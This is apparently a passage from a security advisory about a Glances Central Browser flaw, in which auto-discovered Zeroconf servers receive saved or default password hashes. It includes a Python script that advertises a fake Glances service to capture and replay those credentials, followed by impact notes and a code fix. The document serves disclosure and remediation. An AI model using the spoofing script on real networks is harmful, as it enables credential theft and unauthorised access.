Details
Verified output:
lookup:trusted-host
http://glances:hash(defaultpassword)@trusted-host:61209
{'name': 'trusted-host', 'ip': '203.0.113.77', 'port': 61209, 'username': 'glances', 'password': 'hash(defaultpassword)', 'status': 'PROTECTED', 'type': 'DYNAMIC'}
This confirms the code path binds credentials to the advertised name and ignores the discovered ip.
Step 2: Live network reproduction
- Configure a reusable browser password:
# glances.conf
[passwords]
default=SuperSecretBrowserPassword
- Start Glances in Central Browser mode on the victim machine:
glances --browser -C ./glances.conf
- On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes
PROTECTED:
from zeroconf import ServiceInfo, Zeroconf
import socket
import time
zc = Zeroconf()
info = ServiceInfo(
"_glances._tcp.local.",
"198.51.100.50:61209._glances._tcp.local.",
addresses=[socket.inet_aton("198.51.100.50")],
port=61209,
properties={b"protocol": b"rpc"},
server="ignored.local.",
)
zc.register_service(info)
time.sleep(600)
- On the next Central Browser refresh, Glances first probes the fake server, marks it
PROTECTED, then retries with:
http://glances:<pbkdf2_hash_of_default_password>@198.51.100.50:61209
- The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password.
Impact
- Credential exfiltration from browser operators: An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords.
- Authentication replay: The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential.
- REST/WebUI click-through abuse: For REST servers,
webbrowser.open(self.servers_list.get_uri(server))can open attacker-controlled URLs with embedded credentials. - No user click required for background theft: The stats refresh thread uses the vulnerable path automatically once the fake service is marked
PROTECTED. - Affected scope: This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue.
Recommended Fix
Use the discovered ip as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries.
# glances/servers_list.py
def _get_connect_host(self, server):
if server.get('type') == 'DYNAMIC':
return server['ip']
return server['name']
def _get_preconfigured_password(self, server):
# Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds
if server.get('type') == 'DYNAMIC':
return None
return self.password.get_password(server['name'])
def get_uri(self, server):
host = self._get_connect_host(server)
if server['password'] != "":
if server['status'] == 'PROTECTED':
clear_password = self._get_preconfigured_password(server)
if clear_password is not None:
server['password'] = self.password.get_hash(clear_password)
return 'http://{}:{}@{}:{}'.format(server['username'], server['password'], host, server['port'])
return 'http://{}:{}'.format(host, server['port'])
And use the same _get_preconfigured_password() logic in glances/client_browser.py instead of calling self.servers_list.password.get_password(server['name']) directly.